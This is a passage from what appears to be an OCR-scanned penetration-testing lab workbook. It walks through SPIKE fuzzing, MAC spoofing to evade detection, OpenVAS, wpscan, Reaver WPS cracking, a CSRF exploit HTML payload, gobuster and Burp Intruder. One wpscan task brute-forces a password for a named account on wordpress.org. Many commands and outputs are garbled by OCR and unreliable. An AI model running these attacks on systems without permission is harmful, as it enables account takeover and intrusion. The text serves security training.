content of smtp1.spk script. You will see a series of SMTP commands.

Task 4:
We will now write our own script. Change to kali user’s home directory and
paste this text in the command line:

cat << EOF > spike-trun-audit.spk
s_readline();

s_string(“TRUN [”);
s_string_variable(“COMMAND”);
EOF



We created a script called “spike-trun-audit.spk” in our home directory. This
script will be targeting the TRUN commands on the Vulnserver. This will
read the banner the server sends, simulate the user sending the TRUN
command, and randomize the user input with the TRUN command.

Once this is completed, we can target the server with our custom script:
generic_send_tcp 192.168.1.123 9999 spike-trun-audit.spk 0 0

If you attempt to return to the Vulnserver, you will find that it has crashed.
We have successfully broken a protocol running on the server, resulting in
the server crashing as it is unable to handle this data. We now know that the
TRUN command on this server is vulnerable!

vulnserver.exe has stopped working
Hang on while Windows reports the problem to Microscft...




Lab 32. Spoofing your MAC
Address with Macchanger

Lab Objective:
Learn how to use macchanger to spoof your MAC address.

Lab Purpose:

Macchanger is a tool which allows us to change our network card’s hardware
MAC address to a random address. This is useful when performing
penetration tests or other audits in order to evade detection.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

I will be using Kali Linux for this lab as macchanger comes pre-installed on
Kali. We will begin by viewing the help screen for this tool by typing the
following:

macchanger -h

We will first check what our current MAC address is using the following
command:

macchanger -s eth(



g
[ 1

iacCcha ethe
Current MAC: 00:0c:29:3d:e7:e6 (VWMware, Inc.)
Permanent MAC: 90:8c:29:3d:e7:e® (VMware, Inc.)

Task 2:
We must first turn off the interface we are going to change the MAC address
for, otherwise the tool will not work. To do this, use the following command:

ifconfig ethO down

@ -
eth® down

.. -

lo: flags=73<UP,LO0PBACK,RUNNING> mtu 65536
inet 127.9.8.1 netmask 255.0.6.0
inett ::1 prefixlen 128 scopeid 0x16<host>
loop txqueuelen 1600 (Local Loopback)
RX packets 56 bytes 2624 (2.5 KiB)
RX errors @ dropped 8 overruns @ frame 0
TX packets 56 bytes 2624 (2.5 KiB)
TX errors @ dropped @ overruns @ carrier 8 collisions @

We can now set a random MAC address for this interface by executing the
following:

macchanger -t ethQ

Current MAC: )0 :
Permanent MAC: ©00:0c: :e7:e0 (VMware, Inc.)
New MAC: :2b:69:d8:57:73 (unknown)

We can now bring our interface back up using this command:



ifconfig ethO up

ethe: flags=4163<UP,BROADCAST , RUNNING,MULTICAST> mtu 1586
inet 192.168.71.129 netmask 255.255.255.8 broadcast 192.168.71.255
inet6 fe80::702b:69ff:fed8:5773 prefixlen 64 scopeid @x20<link>
ether 72:2b:69:d8:57:73 txqueuelen 16868 (Ethernet)

RX packets 378432 bytes 370747472 (353.5 MiB)

RX errors 8 dropped 8 overruns B8 frame B

TX packets 256124 bytes B6305087 (82.3 MiB)

TX errors @ dropped @ overruns @ carrier 8 collisions @

Finally, we can view our MAC address for this interface again to confirm that
it has been changed, using this command:

macchanger -s eth 0

Task 3:

We can also change our MAC address to a specific address if we want to
mascarade as a specific device. There are actually 4 sets of Locally
Administered Address Ranges that can be used on your network without fear
of conflict, assuming no one else has assigned these on your network:

X2-XX-XX-XX-XX-XX
X6-XX-XX-XX-XX-XX
XA-XX-XX-XX-XX-XX
XE-XX-XX-XX-XX-XX

We can do this using the following comands:

ifconfig ethO down
macchanger -m d4:b1:10:d8:57:73 ethO



® -

macchang d4:bl1:10:d8:57:73 etho

Current MAC: 72:2b:69:d8:57:73 (unknown)

Permanent MAC: 00:0c:29:3d:e7:e0 (VMware, Inc.)

New MAC: d4:b1:10:d8:57:73 (HUAWEI TECHNOLOGIES CO.,LTD)

ifconfig ethO up

@ -
eth® up

.-} -

etho: flags=4163<UP,BROADCAST, RUNNING, MULTICAST> mtu 1500
inet 192.168.71.130 netmask 255.255.255.0 broadcast 192.1

inet6 feBO::débl:16ff:fedB8:5773 prefixlen 64 scopeid 0x20
ether d4:b1:10:d8:57:73 txqueuelen 18000 (Ethernet)

RX packets 378491 bytes 370752022 (353.5 MiB)

RX errors @ dropped @ overruns @ frame ©

TX packets 256144 bytes 86307359 (B2.3 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

macchanger -s eth(

Task 5:

We can use the “-1” option to find the MAC address prefix of specific
hardware vendors, allowing us to mascarade as a device from one of these
vendors:

macchanger -1



18016 - :9a:20 - Apple

18017 - =0c: - JayBird Gear LLC

18018 - :9C: - University of FUKUI

18019 - d4:9e: Wuhan Zhongyuan Huadian Science & Technolog
18620 ;a0 CISCO SYSTEMS, INC.

18021 - :ad: - SMAX Technology Co., Ltd.

18022 - d4:a4:99 - InView Technology Corporation

18023 - :a89:28 - GreenWave Reality Inc

18024 -aa: MICRO WORLD

186025 rac:4e BOD1 rS, LLC

18026 - ad:2d - Fiberhome Telecommunication Tech.Co.,Ltd.
18027 - dd4:ae:52 - Dell Inc

18028 - : :10 - HUAWEL TECHNOLOGIES CO.,LTD

Task 6:
To revert to our origional permanent MAC address, we can use the following
set of commands:

ifconfig ethO down
macchanger -p ethO

@ —
iaccnang ethod
Current MAC: d4:bl1:10:d8:57:73 (HUAWEI TECHNOLOGIES CO.,LTD)

Permanent MAC: 00:0c:29:3d:e7:e0 (VMware, Inc.)
New MAC: 00:0c:29:3d:e7:eb (VMware, Inc.)

ifconfig ethO up



Lab 33. Perform a Network
Vulnerability Scan with OpenVAS

Lab Objective:
Learn how to use OpenVAS to perform a quick network vulnerability scan.

Lab Purpose:
OpenVAS is an open-source vulnerability scanner which can test a system for
security vulnerabilities.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
I will be using Kali Linux for this lab. To begin, we will first need to
download OpenVAS. This can be done using the following command:

sudo apt install openvas

Once it is installed, we can view the help screen for this tool by typing the
following:

openvas -h



openvas [OPTION?] - Open Vulnerability Assessment Scanner

Help Options:

=h, =-help Show help options

io Display version information
Configuration file
Print figuration settings
Print L em figuration / (set at comp
Update T info into redis store 1les
ID of scan to start. ID and related data must be ¢

ID of scan to stop

Task 2:
OpenVAS recently changed its name to Greenwood Vulnerability Manager
(GVM). Therefore, to start this tool, we will need to type the following:

sudo gvm-setup

e

o=

Creating openvas-scanner's certificate fil

[>] creating database
CREATE ROLE

GRANT ROLE

CREATE EXTENSION
CREATE EXTENS

> M1 g

Updating Open
Updating: NVT




This will download and install all of the necessary plugins for the tool to
work. This tool has a very large database and may take a while to download.

When the installation is finished, the password specified for the user “admin”
will appear on the last page of terminal screen. Copy this and paste it into a
file. This will be necessary when connecting to the OpenVAS page.

Now, we can check if our installation has been completed correctly using the
following command:

sudo gvm-check-setup

gvm-check-setup 20.8.0
Test completeness and readiness of GVM-20.8.0@
Step 1: Checking OpenVAS (Scanner)
OK: OpenVAS Scanner 1s pre nt in version 20.8.1.
OK: Server CA Certificate is present as /var/lib/gvm/CA/servercert.pem

Checking permissions of /var/lib/openvas/egnupg/*
OK: _gvm owns all files in /var/lib/openvas/gnupg
OK: redis-server is present.
OK: scanner (db_address setting) is configured properly using the redi

Checking that the obsolete redis database has been removed

OK: No old Redis DB

K: os5pd-OpenVAS is present in version 20.8.1.
ng GVMD Manager
WM Manager (gvmd) is present in version 20.08.1.

Step 3: Checking Certificates

OK: GVM client certificate is valid and present as /var/lib/gv
entcert.pem.

OK: Your GVM certificate infrastructure passed validation.

Once this command displays that the installation is OK, reboot Kali Linux to
use the tool.

Task 3:
To start the tool we will use the following command:



sudo gvm-start

This may take a minute to load up correctly. Once completed, a firefox will
start with the address https://127.0.0.1:9392. Accept the warning for the self-signed
certificate and you will be presented with a login screen. Use the password
you saved previously and login as “admin” with this password. We are now
at the OpenVAS dashboard.

nttps://127.0.0.1:939.2/

Us @i admin q.f

Password | [TTTTYTTTIIIY 1'1;-:@';

Lingin ‘2’

A e QREEREgEer Rl

Task 4:

In this lab, we will run a vulnerability scan of our home network. To do this,
hover over the Scans tab and click on Tasks. This will bring you to the Tasks
dashboard. To begin a quick scan, click on the wand icon on the top left hand
corner and select the Advanced Task Wizard option.



Here, it is very easy for us to setup a simple scan of our network. Give your
task a name and then input the subnet of your local network. Once this is
done, simply click create. This task will be created and will initiate
immediately. The task itself will take a bit of time to complete as it performs
a comprehensive scan of your network.



Advanced Task Wizard

Quack start: Create a new task

This wizard can help you by creating a new
SCAN LASK AN AUIOMALCAIR STAITnG it.

All you need 1o 00 IS @nter 3 name lor the
new lask and the IP address of host name of
the target, and sedect a scan configuration.

You can choose, whether you want o nan
e San immediabely. schedule he lask for 3
Eaber date and time. or st create the task so
you Can run it mansally labes

In order b run an authenBcabed scan, you
hanve 10 Select S5H andion SMB cregentials,
DL yOu G kS0 Tun &N unauthenticaed
Scan by ot sekecting amy credentials.

I you enber &n email address in the "Email
PO 107 held, A Pepoi of the scan wil be
SN0 W0 TS A0OreIs ORCE | 5 Pnesned,

Fou @y other setting the defaults from "My
Semings” will be appied.

Task 5:

Task Mame
Scan Config
Target Host(s)

ey First Scan F- L)

Full and tass v )
102 1681 0524 # |
O Stan mmediaicly

Create Schedule:
oarze01 )

al 14 |: h 55 |: m
Coardinated Universal Time/UTC ¥
Do ncL SLar Automatically
¥ onpot 27
v

When the scan is complete, we can view the findings by hovering over the
Scans tab at the top of the screen and clicking on Results from the dropdown
menu. This will display a summary of all the vulnerabilities found by
OpenVAS. If you click into each of these findings, you will find a detailed
description of each of the vulnerabilities found and how they can be fixed.
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Lab 34. Automate WordPress
Scanning with Wpscan

Lab Objective:
Learn how to use wpscan to automatically scan WordPress sites for
vulnerabilities.

Lab Purpose:

Whpscan is an open-source WordPress security scanner. It can be used to scan
any WordPress to find vulnerabilities within the WordPress core as well as
popular WordPress plugins and themes. wpscan uses the wpvulndb.com to
check the target for known vulnerabilities.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
It is important to note that you should only ever scan a site with permission
from the site owner.

I will be using Kali Linux for this lab as wpscan comes pre-installed. To
begin, we will first update the wpscan databases using the following
command:

wpscan --update



/
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WordPress Securlty Scanner by the WPScan Team
Version 3.8.180

@ WPScan , @ethicalhack3ir, g@erwan Llr, @firefart

Updating the Database ...
Update completed.

Once this is done, we can view the help page for this tool by typing the
following:

wpscan -h | more

There are many pages. You can go to the next page by pressing the Space
key. Press ctrl + ¢ when you want to exit.



Task 2:
We will begin by scanning our target with a quick overall scan. To do this,
type the command like in the example below:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect

The “--url” tage is specifying the target we wish to scan
The “--rua” tag is telling the tool to use a random-user-agent for each scan

The “--ignore-main-redirect” tag is telling the tool not to follow any redirects and
simply target the URL specified

The results of this scan will provide us with some basic information around
the versions of plugins installed, the version of WordPress in use (which has
a minor warn in this instance), etc.



Task 3:
Similarly, adding —enumerate vt to the command checks the WordPress
website for vulnerable themes:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect --enumerate vt

We can save the previous command for later review. We specify a text file
name with the “-0” parameter:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect --enumerate vt \
-0 report.txt

Nothing is displayed on the screen, everything is stored in the report.txt file.

Task 4:
We can enumerate all registered users of a WordPress site using the



following command:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect --enumerate u

Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author LbUs - Time: QR Q0 00 —mmmmm—m—————

User(s) Identified:

Hari Shanker R
Found By: Rss Generator (Passive Detection)
Confirmed By: Rss Generator (Aggressive Detection)

Ebonie Butler
Found By: Rss Generator (Passive Detection)
Confirmed By: Rss Generator (Aggressive Detection)

Chloe Brinemann
Found By: | Generator
Confirmed By: Rss Gener

OLTOD&4
Found By: Wp :
- https://wordpre org/wp ' /v2/users/?per_page=10

WoraFress.org
Found By: Oembed API we (Aggressive Detection)
https: //wordpress.org/wp-json/oembed/1.08/embed?url=htt

Task 5:

Using the information gathered from the above command, we can then
attempt to brute force the passwords for these usernames using a wordlist.
This can be done by executing the following command:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect \
-P /usr/share/wordlists/rockyou.txt -U otto42

Press ctrl + ¢ to when you want to break process.



ying otto42 lovelife Time:
Trying otto4 61 Time:
Trying otto4l2 / Time:
Trying otto&l
Trying otto42

Trying

Trying otto werse Time: 00:01:
Trying ottos f 4y Time: @0:01:5
Trying '

Trying I ime:

Trying otto / obl Time: 00:01:55
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|
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Trying ott conn
Trying otto f 1111111111 Ti

Trying otto42 / chelseal Time: @00:01:56

No Vali 5 Found.




Lab 35. Hack WPS with Reaver

Lab Objective:
Learn how to hack WPS-enabled Wi-Fis with Reaver.

Lab Purpose:

WPS stands for Wi-Fi Protected Setup. It was invented to make it easier for
users of a network to create secure connections between certain devices and
networks. It works by pressing a button on the router and the device
simultaneously. An 8-digit PIN is created, allowing the device to connect.

Reaver is a tool which takes advantage of the way WPS creates these PINs.

Lab Tool:
Kali Linux

Lab Topology:

You can use Kali Linux in a VM for this lab. Many commands in this lab will
require root privileges to work. First of all, we must be the “root” user using
the terminal:

sudo su —

Lab Walkthrough:
Task 1:

It is important to note that you should only target a network with permission
from the network owner.

I will be using Kali Linux for this lab as reaver comes pre-installed.

We will begin by first viewing the help screen for this tool. Simply type the



following:

reaver -h

Task 2:

You will need a wireless card which is capable of being put into “monitor mode”
to complete this lab. In this lab, we will use an Alfa network card for this
purpose. There are numerous Wi-Fi adapters in the market which supports
Wi-Fi hacking. In this page, you can find some of them:

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-
hacking-in-2019/

Wireless Adapters for Hacking

For beginners, the guide will essentially center on Kali Linwux and :

there including

ng Range (My new favorite as of Mai 2020!)

GHz (V1) (Make sure you grab V1l)

The first step is to place our wireless interface into monitor mode. We can do
this using the following command:

airmon-ng start wlan0

We can check that the interface is in monitor mode by typing ifconfig. You
will notice that the interface will have a mon at the end of its name. You may
get a message that some services are interfering with your card when putting
it into monitor mode. If this happenes, simply run the following command:


https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/

airmon-ng check kill

wlanémon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1508
};ﬂ unspec ©6-CO-CA-98-0E-D3-00-58-00-00-00-00-00-00-00-00 txgqueuelen 106@ (UNSPEC)

RX packets 774 bytes 188547 (176.3 KiB)

RX errors @ dropped 774 overruns 8 frame @

TX packets @ bytes 8 (0.9 B)

TX errors @ dropped @ overruns @ carrier @ collisions @

Task 3:
Once our interface is in monitor mode, we can now scan for nearby networks.
We can do this with the following command:

wash -i wlanOmon

wlandmon
Lck Vendor

48:02:4F:3E:D8:4D - § : No Broadcom eir52745257
10:06:45:68:E0:DC ) 2.8 No Broadcom eir56528422
7C:4C:A5:4F:7B:E5 4 2.0 No Broadcom SKY80C31

This command will show us all available networks and whether these
networks have WPS enabled.

Task 4:
We now have all the information we need to launch the attack. We can
choose the network we want to attack using this command:

reaver -i wlanmonO -c 3 -b B4:30:52:D9:2E:4C -vv

o =
- wlanBmon 3 B4:30:52:D9:2E:4C

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner




Let’s break this command down:

The -i tag is telling Reaver which interface we want to use for the attack
The -c tag is telling the tool which channel the Wi-Fi network we are
targeting is on

The -b tag is the BSSID of the network we are targeting

The -vv tag is enabling verbose, which will tell us what the tool is doing

When this command is executed, Reaver will begin testing various PINs
against the network.

Reaver v1.0.0 WiFl Protected Setup Attack Too
Copyright (c) 2011, Tactical Network Solution:

[+] Switching wlanBmon to channel 3

[+] Waiting for beacon from B4:30:52:D09:2E:4C
[+] Received beacon from B4:38:52:D9:2E:4C
[+] Vendor: Broadcom

[+] Trying pin "12345670"

[+] Sending authentication request




Lab 36. Cross Site Request Forgery
(CSRF)

Lab Objective:
Learn how to exploit a CSRF vulnerability.

Lab Purpose:

CSREF is a vulnerability found in web applications, which allows an attacker
to induce users to perform actions that they do not intend to perform. This
vulnerability allows an attacker to circumvent the same origin policy, which
is designed to prevent different websites from interfering with each other.

The impact of the attack depends on the level of permissions that the victim
has set. Such attacks take advantage of the fact that a website completely
trusts a user once it can confirm that the user is indeed who they say they are.

Lab Tool:
Kali Linux and Burp Suite

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be using Burp Suite for this lab. It comes pre-installed on Kali
Linux, but may need to be updated using the command: sudo apt upgrade burpsuite

We strongly recommend you look at previous lab, lab 7, that we did on Burp
Suite. Until requested, keep interception mode OFF in Burp Suite.



El-urp Suite C emmunity Editionv2020.12.1- i'q,-m;l-c-rar',' Project

Burp Project Intruder Repeater Window  Help

Repeater Sequenoer Decoder Comparer Extender Project options User options
Dashboard Target Proxy Intruder
Initercept HTTF history WebSockets history Options
9
R, f-""' @J
b Inte off Open Browser @
9 ()
Task 2:

In this lab, we will be using the Port Swigger Web Security Academy in
order to demonstrate vulnerability. They provide some vulnerable labs where
you can practice these skills. You will need to sign up (for free) in order to

follow allong with this lab:

https://portswigger.net/web-security

2 PortSwigger «&E»

Web Security
Academy/|+ |

Free, online web security training
from the creators of Burp Suite

“ s

Task 3:
For this lab, we will be demonstrating how a CSRF vulnerability can be

exploited. The lab we will be using to demonstrate this vulnerability is the
following:



https://portswigger.net/web-security/csrf/lab-no-defenses

Before starting the lab session, the username and password you will use for
login will be displayed on the description page. Write it down somewhere.
Then, click the “Access the lab” button.

LABY Not solved
This lab's email change functionality is vulnerable to CSRF.
To solve the lab, craft some HTML thal uses a C= o change the viewer's email address and upload it 1o your exploit
Server
You can log in 10 your own account using the following credentials] wisner :peter - -
— O

(2)

oy

. I
=3 Access the lab

Click the My Account link which is placed on the up-right corner of Shop.
Then, login with the credentials which we have recorded on the previous
page. In our case, that was:

Username: wiener and Password: peter

Do not use your real portswinger.net credentials!


https://portswigger.net/web-security/csrf/lab-no-defenses

Home | My account

A

o et b e o

We can now see an email change form on the Shop page.
Now, make sure that Burp Suite has Intercept Mode turned ON.
Enter some random email address here and Burp Suite will capture web

traffic automatically. In this instance, we entered user@example.com as the
new email address.

Home | My a mt | Log out

My Account
YOour Usermame s wienar

Your emai is: wiengrfdnormal-user.nel

Emal - g)
user@example.com M

CID— o



mailto:user@example.com

Task 4:
Let’s look at the Burp Suite’s interception window.

Burp Project Intruder Repeater Window Help

Dashboard Target i Intruder Repeater Sequencer Decoder Comparer Extender
Int pt HTTP history WebSockets history Options

59 [} Request to https://acd51f0elea54ad28057e18200db00af . web-security-academy.net:443 [18.200.141.238]

Forward Drop Action | CpenBrowser

v I o At

1 POST /my-account/change-email HTTP/1.1

Z Host: acdSlfTOeleaSdad2B057e18a00db00at.web-security-academy . net

3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/ehtml+xml,application/iml q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en:g=0.5 3 =

, Accept-Encoding: gzip. deflate [- nght click

7 Content-Type: application/x-www-{

& Content-Length: 24 Change request method

9 Origin: https://facdSlfOeleaSdadlt Chanoe body encodi sy .net

0 Connection: close i - -
11 Referer: https://acdSlfOeleaSdad: Copy URL demy.net /my -account
12 Cookie: session=W4R1duu2S«aW00Dvs PRI ... S
13 Upgrade-Insecure-Requests: 1 o
14 Copytofile
15 email=useri40example.com i

Paste from file
Save item

Right-click on the current Burp Suite window and select the Copy URL.

Paste this URL somewhere, as it will be needed in the next task.

Task 5:

In this step, we will create a malicious HTML form page which is filled by

the email address and URL we have caught in the previous task.

Open a text editor, select the following text, then copy and paste it into editor.
Fill the URL and e-mail address values in the corresponding places in the

editor:

<html>
<body>
<form action="URL we gathered from Burp Suite will be here” method="POST”>
<input type="hidden” name="email” value="lucifer@evil-user.net” />




</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Our HTML template looked as follows when filled in with the values:

keali@ kali: ~

File Actions Edit View Help @
<html> /a_
<body>

<form action="https://acc91f791feb72fcB8061ef6f00490002 .web-security-acad
emy.net/my-account/change-email”™ method=" >
<input type="hidden® name="email”™ value="luciferaevil-user.net”
rm>

dﬂtunent.Fﬂrms[D].aunmitf]H

@

In this example, we chose lucifer@evil-user.net as the email address.

Task 6:
Now, turn OFF Intercept mode in Burp Suite.

The next step is to navigate to the “Go to exploit server” button at the top of
the Shop page. Place your altered HTML form code into the Body section
and press “Store”.



Craft a response
URL: https:/ac3611111100726680d8efab011004 1 web-security-academy.net/exploit

HTTPS
:4, CSRF vulnerability with no defe
.. \Web Security AR My W 0 dnisnens

|/Academy ¢

Hemns

Go to exploit server <

HTTES 1.1 200 DK
Content-Type: text/html; charset=utf-#

Eody @
{M}

-:'bcd_:rr'b
<form action="htepa:/ SaccPlIT9lfebiZicB06lel 600430002 . wel—-
gacurity-academy.net /my-account /change-amail® method="POST=>
<input type="hidden® name="email® value="luciferfevil-user.net®
L
< f form®
<acript>
document . forms [0] subsir () ;
<feeript>
¢ fbodye

</heml>
heml OJ .

Web SECUI"ity CSRF vulnerability with no defenses (48] sovea 1)
Amem!m Back to lab descrption @

.UIIQIHILJHIIIZH'IL-. Yyou solved the lab! <« o W Share your skills! Cantinue laarming

M}I’ Account Home | My account | Log out
Your username is: wiener 9)
Your email is; ucifer@evil-user. net .

Our CSRF attempt has been successful.



The reason it was successful is this: if we take the URL, send it to a user, and
they click on it, their email will be changed to that which we have specified.
This is a powerful method, as the URL itself will look harmless to the user,
while their e-mail is being change in the background, unbeknownst to them.



Lab 37. Using Gobuster to Discover
Directories

Lab Objective:
Learn how to discover directories on a web application.

Lab Purpose:

Gobuster is a free opensource tool used to brute force URLSs, thereby
discovering available files and directories in web sites. It can also discover
DNS subdomains with the wildcard option enabled.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM and another Ubuntu VM for this lab.

Lab Walkthrough:

Task 1:

As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab, we need another machine to run “OWASP Juice Shop” into it.
You can find a prebuilt version of Ubuntu Server image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and
import it to your virtualization platform and run.



https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/

Ubuntu Server 20.04 Focal Fossa

MU EGE (Y L) B

SHASE: Feedi70aac525c 19207184467 E24090a87]8F 250 36936 1 25aREEF 25 FTRS

1 L]

In our system, the IP address of our Ubuntu VM is 192.168.1.206. You have
to learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then, type these commands
in a terminal as regular user:

git clone https:/github.com/bkimminich/juice-shop.git
cd juice-shop

sudo apt install npm

npm install (This step takes long time. So be patient.)
npm start


https://github.com/bkimminich/juice-shop.git

info: All dependencies in ./fpackage.json are satisfied (OK)

info: Chatbot training a4 botDefaultTrainingData.json validated
info: I d Node. j: on vi1e.19.0 |

in¥o: W 1

infa:

info: Configouration default validated (

info: Required file index.html 1s presen

info: Required file styles.css 1s pre

info: ] file main-es2018.js is p
inf File tutorial-es2018.3js
¢ polyfills-es2018.js
» runtime-es2018.js is

» tutorlial-es5.3% 1s
main-&35.7% 15 present
polyfills-es5.j)s is |
runtime-es5.js is
vendor-es5.js is

Task 2:
Now, download gobuster by opening a new terminal in Kali and typing the
following:

sudo su -
apt-get install gobuster

Close the current terminal and open a new one after intallation is finished.

You can then view the help screen by typing the following:

gobuster -h



Usage:

gobuster

AW - = -
the current version

vhost Uses VHOST enumeration mode

Task 3:

Once OWASP Juice Shop is up and running, you can type the Ubuntu’s IP
into your browser to access it. In this case, http://192.168.1.206:3000 is our
URL. You will use your IP address on your local system.

Welcome to OWASP Juice
Shop!

Being a web application with a vast number
of intended securily wulnera

OWASP Juice Shop
opposite of a best

i rrode

OWASP juice Shop

BN Dismiss

Open a terminal in Kali. We can run a quick scan on this application to


http://192.168.1.206:3000/

discover directories using the following command:

gobuster dir -u http://192.168.1.206:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --wildcard

Let’s break this down:

e The dir option tells gobuster to look for all possible URLs and
subdirectories of the URL specified

e The -u option is our target URL

e The -w option is the wordlist we will use to brute force this
target.

e The —wildcard option is to discover DNS domains and to
accept any redirects.

Press ctrl+c to break run.


http://192.168.1.206:3000/

Task 4:
We can append the “-x” option to search for certain files. For example, if we

append “-x .js,.php”, then we will see the normal results as well as any files
we can access with these extensions:

gobuster dir -u http://192.168.1.206:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt —wildcard -x .js .php

';'_:“'-'.h-":lTl:"}' o -;_- £
by 0] Reeves (@TheColonial)

& Christian Mehlmauer (@firefart)

url: http://192.168.1.206:3000

Method: GET
Threads: 1
Wordlist: Jusr/share/wordlists/dirbuster/directory
tive Status codes: 404
Agent:
ENS10NS: 15, php

.J 'l'.:; =

wster/3.1.8

irting Ei:lt}ll‘_'-.t('t' in directory enumeration mode

findex.php 1924]

d.Js
yad . php

T |
b . php

Task 5:
By default, the thread count is 10 in gobuster. We can append -t to determine

the number of threads that will run simultaneously. The more threads
running, the faster the scan will be:


http://192.168.1.206:3000/

gobuster dir -u http://192.168.1.206:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt —wildcard -t 50

olonial) & Christian Mehlmauver (@firefart)

.168.1.206:3000

Jusr/share/wordlists/dirbuster/directory-list-2.3-

LO4

gobuster/3.1.0

1 directory enumeration mode

Task 6:
In most firewalls, traffic from a single IP source to web servers is limited. It

may be necessary to reduce the frequency of requests in order to be able to
scan within these limits. We can increase the waiting time of two consecutive

requests by adding the “—delay” parameter:

gobuster dir -u http://192.168.1.206:3000 —wildcard -t 1 —delay 2s \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt


http://192.168.1.206:3000/
http://192.168.1.206:3000/

In this example, we reduced the number of threads to 1 as we increased the
delay to 2s.

Task 7:

By default, “gobuster” requests are made with the GET method. It is possible
to change this using the “-m” parameter. In this example, scanning was
performed using POST method instead of GET:

gobuster dir -u http://192.168.1.206:3000 -t 1 —delay 2s -m POST \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt —wildcard



http://192.168.1.206:3000/




Lab 38. Using Burp Suite’s Intruder

Lab Objective:
Learn how to use Burp Suite Intruder to brute force a password.

Lab Purpose:

The intruder feature of Burp Suite is used to automate customized attacks
against web applications. It can be configured to work in several different
ways and can be used to perform a huge range of tasks.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab, we need another machine to run “OWASP Juice Shop”. You can
find a prebuilt version of Ubuntu Server 20.04 image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and
import it to your virtualization platform and run.



https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/
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In our system, the IP address of Ubuntu VM is 192.168.1.206. You have to
learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then type these commands
in a terminal as regular user:

git clone https:/github.com/bkimminich/juice-shop.git
cd juice-shop

sudo apt install npm

npm install (This step takes long time. So be patient.)
npm start


https://github.com/bkimminich/juice-shop.git

osboxesgosboxes: % npm start

juice-shop@l2.6.1 start /home/osboxes/juice-shop
» node app

info: ALl dependencies in .fpa:kage.jsnn are satisftied ( )
info: Chatbot training data hutDefnultTrn1n1ngData json validated |
inf Jetected Node.js version wi1e.19.9 (0K)
ed 05 linux (OK)
d CPU x6& (0K)
Configuration default validated (
: Required file index.html is present
! Required file styles.css is pr 1
0: Required file main-es2018.js is p
: Required file tutorial-es201B.3js is
equired file polyfills-es2018.js is
: Required file runtime-es2018.3js is pre
: Required file vendor-es2018.3js is pr
fo: Required file tutorial-esS5.js is pre
fo: Required file main-es5.3js is present
equired file polyfills-es5.3s is presen
: Required file runtime-es5.js is presen
uired file vendor-es5.3s is present
ort 3008 is available (0OK)

Task 2:
Launch the Burp Suite by typing burpsuite into the Kali terminal and ensure
Intercept is turned on.

We then want to access the login page of the vulnerable shop. To do this, first
type the local IP of the shop into your browser to access the page, then click
the login button on the top right.

Task 3:
When you are at the login screen, ensure that the proxy is enabled in Burp
Suite and submit some values into the login page.

When you have the captured request, right-click on the page and press send
to “Intruder”. Then navigate to the Intruder tab at the top.



E ﬂ OWASP Juice Shop

Login
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-

Burp Project  Intreder Repeater ‘Window  Help
Dashboard Target Intruder Repeater Sequencer Decoder Comparer Extender

HTTP history WebSockets h

Dptions

4

‘;‘? Hrqurd to hl'lp M92.168.1 206 : 1000

Forward Do At it Oipen Browwser

m;hw \n  Actions v

POST /frest/user/login HTTR/1.1 e")
4 Host: 152.168.1.206: 3000
3 User-Agent: Mozillas5.0 (X11: Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: applicatien/)son, text/plain, */@
Accept-Language: en-US.en;g=0.5
6 Accept-Encoding: gzip, deflate

' Content -Type: application/json
s Content .Longth! 47 5 @) == sendtointruder a1
Originm: http://192,168.1,.206: Sendto Repeater Ctrl-R
10 Connecticn: close
11 Referer: http://192.168.1.206: 2000/ Sendto Sequencer
12 Cookie: language=en: cookieconsent status= Sendto Comparer BRiss; continueCy
'|_-.
1 Sendto Decoder
"gnail”:"user@example.con”, Request in browser
*password®: 12345
o__.; Engagement tools [Pro version only]

Change request method




Task 4:

Here, you will find that the first page contains the IP of the webpage and the
port it is running on. Navigate to the Positions tab within the Intruder tab.
Don’t get overwhelmed with the icons on this page. First, remove all icons by
clicking the Clear button on the right.

